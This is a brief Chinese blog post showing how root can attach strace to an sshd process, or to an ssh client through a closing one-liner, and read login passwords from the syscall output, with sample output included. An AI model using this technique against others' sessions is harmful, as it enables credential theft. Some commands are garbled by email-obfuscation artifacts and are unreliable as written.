用strace工具来解析ssh的登录密码

首先要开ssh服务，查看一下。。

root@unbuntu:/etc# ps -ef |grep ssh
root 3996 1 0 13:51 ? 00:00:00 /usr/sbin/sshd
root 4463 3996 0 15:04 ? 00:00:00 sshd: nova [priv]
sshd 4464 4463 0 15:04 ? 00:00:00 sshd: nova [net]
root 4466 4310 0 15:04 pts/1 00:00:00 grep ssh
root@unbuntu:/etc# strace -p 4464

Process 4464 attached – interrupt to quit
select(4, [3], NULL, NULL, NULL) = 1 (in [3])
read(3, “\210\270\232z-\231lh,\341_\377\351\22X.tNVHFw\25=\310\235″…, 8192) = 144
write(4, “\0\0\0\17\v”, 5) = 5
write(4, “\0\0\0\nnovaserver “, 14) = 14
read(4, “\0\0\0\5″, 4) = 4
read(4, “\f\0\0\0\1″, 5) = 5
write(4, “\0\0\0\0011″, 5) = 5
read(4, “\0\0\0\t”, 4) = 4
read(4, “2\0\0\0\1\0\0\0\0″, 9) = 9
write(3, “\243\273r<\267\245F\374\201H(|~>f\36\337\306\367\341\374″…, 32) = 32
write(4, “\0\0\5/\31″, 5) = 5
write(4, “\0\0\0 \206\347\3\357\16\223\315\23_\267;\32\231\325\263″…, 1326) = 1326
exit_group(0) = ?
Process 4464 detached
上面解析到的就是我的ssh服务的密码，对应的用户是nova… [好害怕...]

上面这些需要开一个ssh的client来验证…

nova@unbuntu:~$ ssh 192.168.150.244 [回车]
[email protected]’s password: [确认对端已经监听，解析 strace -p pid ]
Linux unbuntu 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Mon Nov 24 15:02:44 2008 from 192.168.150.244
nova@unbuntu:~$

剩下的，你就可以看你的密码了，其实还有别的工具，truss…

strace -p $(ps -ef|awk ‘/ssh [email protected]/&&!/awk/{print $2}’)

http://www.imdba.cn/2009/08/31/strace-ssh/